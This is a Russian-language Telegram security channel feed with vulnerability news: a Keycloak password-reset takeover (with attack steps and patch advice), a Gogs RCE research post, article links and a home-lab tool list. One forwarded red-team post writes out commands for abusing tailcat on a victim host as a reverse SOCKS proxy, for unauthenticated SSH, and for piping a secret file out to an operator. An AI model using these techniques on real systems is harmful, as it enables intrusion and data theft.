Fsecurity | HH
2.06K subscribers
1.83K photos
111 videos
68 files
6.76K links
👾 Канал про КБ и пентест
Наш Discord: https://discord.gg/Eg8aDS7Hn7
✉️ По сотрудничеству: @OxHaskar
🍩 Поддержать: https://www.donationalerts.com/r/xackapb
Download Telegram
Forwarded from Крак%00зябры
❗️ Критическая уязвимость Account Takeover в Keycloak
(CVE-2026-18963)

Позволяет установить произвольный пароль на любую учётную запись, зная только имя пользователя или email. Аутентификация и взаимодействие с пользователем не требуются.

➖Уязвимость возникает в потоке сброса пароля reset-credentials, в методе ResetCredentialEmail.action(). По замыслу он завершает шаг подтверждения по e-mail только после того, как пользователь перешёл по ссылке из письма и обработчик action-токена записал в сессию ACTION_TOKEN_USER_ID.

Но метод не проверяет ни токен, ни этот идентификатор - он безусловно помечает почту подтвержденной и продвигает поток к установке нового пароля:

    @Override
public void action(AuthenticationFlowContext context) {
context.getUser().setEmailVerified(true);
context.success();
}


Дотянуться до этого шага напрямую позволяет то, как хранится состояние экрана выбора способа входа: Keycloak держит его как «залипающий» атрибут сессии (AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED), из-за чего исполнение шага с подтверждением по e-mail остается доступным и после отправки письма.

Алгоритм атаки 🤩

1️⃣ Атакующий инициирует сброс пароля для жертвы (жертве уходит штатное письмо, переходить по ссылке не требуется)
2️⃣ Через tryAnotherWay=on и повторный запрос к reset-credentials атакующий возвращается на шаг подтверждения e-mail и напрямую вызывает его action(), минуя authenticate().
3️⃣ Метод помечает почту подтверждённой, поток уходит на UPDATE_PASSWORD
4️⃣ Атакующий ставит новый пароль без доступа к почте жертвы и без единого клика по ссылке

Патч чинит обе причины: ResetCredentialEmail.action() теперь требует совпадения пользователя из сессии с ACTION_TOKEN_USER_ID (записывается только при переходе по ссылке из письма), а состояние экрана выбора способа входа больше не «залипает» на весь поток - оно привязано к конкретному шагу.

Условия эксплуатации:
⏺В realm включена функция Forgot Password

💬 К тому же доступен публичный PoC , в котором есть флаг --safe-check для безопасной проверки наличия уязвимости. Он шлет несуществующий юзернейм и смотрит, обходится ли email-gate в reset-потоке.

🔺 Критичность - 9.1 CVSS 3.1 (Critical)

⏺CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
⏺CWE-640 (Weak Password Recovery Mechanism)

Затронутые версии:
⏺Upstream Keycloak: <=26.7.1
⏺Red Hat build of Keycloak: 26.4.x < 26.4.15, 26.6.x < 26.6.6

Рекомендации:
⏺Обновиться до пропатченной версии
⏺Проверить логи на следы эксплуатации (аномальные reset-credentials)

Патч:

✅26.7.2 - основная ветка
✅26.6.6 / 26.4.15 - бэкпорты (RHBK)

➖В качестве временной компенсирующей меры рекомендуется выключить функцию Forgot password во всех realm-ах.

🔗 CVE - https://nvd.nist.gov/vuln/detail/CVE-2026-18963
🔗 Эксплоит: https://github.com/Snizi/CVE-2026-18963-Exploit
🔗 GitHub: https://github.com/keycloak/keycloak/issues/51833
🔗 Подробный ресерч: https://www.pruva.dev/reproductions/REPRO-2026-00337
Please open Telegram to view this post
VIEW IN TELEGRAM
❤‍🔥1🔥1
Forwarded from RedTeam brazzers (Миша)
Всем привет! Мой коллега Вячеслав Цепенников выступал на OFFZONE с докладом «Living off the Browser». Он наресерчил крутой функционал Direct Sockets внутри Chrome, который позволяет через Isolated Web Apps отправлять полноценные сетевые TCP/UDP-запросы. Путем нескольких бессонных ночей получилось внутрь Isolated Web App портировать большинство самых популярных тулз для пентеста! Теперь вы можете буквально ломать через браузер : )

Демо:
https://iwa-tools.pkilla.pw/
Сорцы:
https://github.com/CICADA8-Research/iwa-tools
Всем хак! 👾
Тут на днях выполнял тестовое задание на позицию Vulnerability Researcher.

Задача была — расковырять две критические уязвимости: CVE-2026-52813 (Gogs) и CVE-2026-57517 (CWP).

Из-за жесткого тайминга не удалось выжать тот максимум качества, который я сам хотел бы видеть в идеале.

По CWP стенд до ума не довел, поэтому в отчет он не вошел.

Зато внутри ресерча по Gogs:
🔹 Полностью разобрал Root Cause уязвимости.
🔹 Поднял локальный стенд в Docker.
🔹 Прокрутил красивую цепочку: Path Traversal ➔ подмена Git-хуков во временном worktree ➔ RCE.
🔹 Набросал Nuclei-шаблоны для детекта уязвимости с автоматической зачисткой 🧹 за собой.

Технический созвон я в итоге завалил, но не хочу, чтобы ресерч просто пылился в столе.

Выкладываю PDF-отчет (только по Gogs) со всеми логами, граблями, мыслями и моими косяками 🐛
Уверен, кому-то из вас будет полезно разобрать этот вектор или развернуть у себя похожую лабу.

P.S. Часть информации на скриншотах замазана, скрипты автоматизации не прикладываю.

💼 Блок для связи:
Я по-прежнему открыт к интересным предложениям по работе.
Мой стек и ачивки: GitHub / HackTheBox / Standoff365 / HackerLab / Сертификат CPTS.

Также, если вам нужен пентест вашего веб-приложения или сервера, а еще если вас интересует бадди (напарник) — пишите, договоримся на берегу.

По всем вопросам пишите на рабочий аккаунт:
👉 @OxHaskar
🔥2
Fsecurity | HH pinned «Всем хак! 👾 Тут на днях выполнял тестовое задание на позицию Vulnerability Researcher. Задача была — расковырять две критические уязвимости: CVE-2026-52813 (Gogs) и CVE-2026-57517 (CWP). Из-за жесткого тайминга не удалось выжать тот максимум качества, который…»
This media is not supported in your browser
VIEW IN TELEGRAM
Подмена страницы интернет-банка First Partner Bank на Standoff 365

🔗Ссылка:
https://habr.com/ru/companies/pt/articles/1074454/
🔥1
В логе адрес ::ffff:192.0.2.5, в белом списке 192.0.2.5. Это один адрес, и он не совпадает

🔗Ссылка:
https://habr.com/ru/articles/1075810/
👍1
Как Telegram удалил 800 ГБ моих данных и причем тут орфография

🔗Ссылка:
https://habr.com/ru/articles/1075816/
🔥1
Чем опасны старые версии Nexus Repository CE

Хранилище артефактов, как правило, находится в критическом месте инфраструктуры компании: между сборкой продукта и внешним миром. Через него команды получают зависимости, публикуют собственные пакеты и передают артефакты дальше по цепочке поставки. Если такой сервис недоступен или его содержимое нельзя считать доверенным, то проблема быстро выходит за пределы одной лишь команды DevOps. Останавливаются сборки и поставки программного обеспечения, а вредоносный или уязвимый пакет может попасть во множество проектов.

На этом фоне компаниям особенно неприятно быть зависимыми от версии инструмента, которую сложно обновлять. Именно в таком положении оказалась часть пользователей бесплатной версии Nexus Repository после изменения модели выпуска в начале 2025 года.

🔗Ссылка:
https://habr.com/ru/companies/codescoring/articles/1075784/
11 минут у Backblaze, и неделя бездействия у reg.ru: как компании обрубают инфраструктуру трояна в России и за рубежом

Если вы состоите в более‑менее крупных ТГ сообществах, то наверняка замечали, как время от времени в чатах мелькают боты с предложением установить сомнительный APK. Обычно их мгновенно банит антиспам или админ, и на этом всё заканчивается. Правда, пока сообщение ещё висит, взгляд успевает за него зацепиться, и в голове проскакивает «это очевидно скам, но как оно работает?». У меня эта мысль проскочила в дождливый вечер прошлой пятницы, и вот, неделю спустя, я всё ещё смотрю на четыре домена, куда уходят перехваченные банковские коды, и ожидаю хоть каких‑до действий от уполномоченных компаний, которые были уведомлены об атаке почти неделю назад.

🔗Ссылка:
https://habr.com/ru/articles/1076024/
Forwarded from SecuriXy.kz
🏠 Подборка тулов - для домашней инфры на Docker

Собрал сюда то, что реально использую в home lab. Все self-hosted, легкие, без раздутого стека и телеметрии. Может кому пригодится.

🎛 Dockhand - управление Docker
Современная альтернатива Portainer. Реалтайм-контроль контейнеров, визуальный редактор Compose-стеков, деплой из Git с автосинком, SSO через OIDC
🔗 https://github.com/Finsys/dockhand

📜 Dozzle - просмотр логов
Веб-интерфейс для логов контейнеров в реальном времени, без хранения истории и лишней настройки
🔗 https://github.com/amir20/dozzle

🔐 Authelia - SSO и 2FA
Единый шлюз аутентификации перед сервисами, OIDC, LDAP, 2FA. Альтернативы - Authentik, Keycloak, Zitadel, но Authelia легче по ресурсам
🔗 https://github.com/authelia/authelia

📊 Beszel - мониторинг ресурсов
Легкий хаб мониторинга CPU, памяти, диска, сети и статистики Docker-контейнеров по нескольким хостам. Хаб и агент общаются по SSH, наружу торчать не надо
🔗 https://github.com/henrygd/beszel

📈 Uptime Kuma - мониторинг аптайма
Простой self-hosted аналог UptimeRobot, статус-страницы, нотификации в десяток каналов
🔗 https://github.com/louislam/uptime-kuma

🐙 Forgejo - легкий гит-сервер
Форк Gitea под некоммерческим Codeberg e.V., issues, PR, CI-actions, kanban. Легче GitLab, встанет даже на Raspberry Pi
🔗 https://codeberg.org/forgejo/forgejo

🩹 PatchMon - мониторинг обновлений
Централизованный контроль пакетов и патчей на флоте Linux/FreeBSD/Windows хостов, агент только на исходящих соединениях, approval-флоу с аудитом и поддержкой крнтейнеров
🔗 https://github.com/PatchMon/PatchMon

#docker #homelab #selfhosted #tools
Forwarded from s0ld13r ch. (s0ld13r)
TailCat Red Team use case 😎

Несколько дней назад ребята из TailScale выпустили свой инструмент tailcat, как можно понять из названия, это аналог netcat но работающий из коробки через сеть TailScale 🤩

Первой моей мыслью стало что инструментом начнут активно пользоваться атакующие и решил расписать разные примеры применения нового "условно легитимного" софта 😃

🔢 SOCKS5 Reverse Proxy

Можно использовать машину жертвы как exit-node и через неё получать доступ к внутренней сети. На машине жертвы запускаем следующую команду:

tailcat --serve=exit-node

По умолчанию tailcat socks поднимает SOCKS5 на случайном порту и передаёт адрес и порт через переменную окружения. Чтобы не возиться с этим каждый раз, я написал небольшой wrapper под названием tcsocks, который поднимает локальный SOCKS5 на 1080 (порт можно поменять). На машине оператора запускаем:

tcsocks -q <token>

А дальше как обычно пользуемся proxychains:

proxychains -f proxy.conf -q nxc rdp 192.168.0.0/24

🔢 SSH доступ без авторизации

Tailcat также позволяет в user mode слушать SSH от пользователя, без необходимости вводить пароль, это особенно удобно если был нестабильный шелл и нужно было использовать альтернативный канал. Сперва слушаем No Auth SSH на машине жертвы:

tailcat --serve=no-auth-ssh

Далее подключаемся по токену с машины оператора:

tailcat ssh <token>

🔢 Эксфильтрация данных через pipe

Ну и классика - эксфильтрация файлов через pipe на машине жертвы запускаем:

cat secret.txt | tailcat <token>


На машине оператора запускаем:

tailcat > secret.txt

Из плюсов вижу то, что инструмент условно легитимный и работает из коробки, с открытым исходным кодом который можно кастомизировать под свои нужды 😎

💻 tcsocks: https://gist.github.com/s0ld13rr/18e2765da1831af0a656e7bb0a819e73

💻 tailcat: https://github.com/tailscale/tailcat

🧢 s0ld13r
Please open Telegram to view this post
VIEW IN TELEGRAM